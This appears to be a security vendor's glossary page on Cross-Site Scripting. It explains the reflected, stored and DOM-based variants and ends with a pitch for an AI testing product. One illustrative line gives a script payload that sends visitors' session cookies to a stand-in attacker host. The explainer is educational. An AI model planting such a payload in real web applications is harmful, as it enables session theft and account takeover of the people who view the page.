Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a vulnerability that enables an attacker to inject client-side scripts, typically JavaScript, into web applications. When a victim’s browser renders the compromised page, the injected script executes within the context of the vulnerable domain, giving the attacker access to session cookies, DOM content, and the ability to perform actions on behalf of the user. XSS comes in three primary variants: Reflected XSS (payload delivered via a crafted URL), Stored XSS (payload persisted in the application’s database), and DOM-based XSS (payload processed entirely in the browser’s DOM without server interaction).

Why It Matters

XSS is one of the most widespread web vulnerabilities and frequently serves as the initial foothold in sophisticated attack chains. An attacker exploiting stored XSS in a support ticket system, for example, can steal administrator session tokens when the admin views the ticket, effectively escalating from an anonymous user to a privileged internal account. Beyond session hijacking, XSS enables keylogging, phishing overlay injection, cryptocurrency mining, and worm propagation within web applications. Modern single-page applications built with frameworks like React can introduce subtle DOM-based XSS patterns that traditional scanners miss.

Consider a scenario where a SaaS platform allows users to set display names. If the application renders these names without encoding, an attacker sets their name to <script>document.location='https://evil.com/?c='+document.cookie</script>, stealing session cookies from every user who views their profile.

How Revaizor Handles This

Revaizor’s autonomous testing engine goes beyond basic reflected XSS checks by systematically probing for stored, DOM-based, and mutation XSS variants. The platform’s AI agents understand JavaScript execution contexts and can craft payloads that bypass common sanitization filters, CSP policies, and framework-level protections. Revaizor demonstrates exploitability by showing proof-of-concept script execution rather than simply flagging potential injection points, giving development teams actionable evidence of real risk.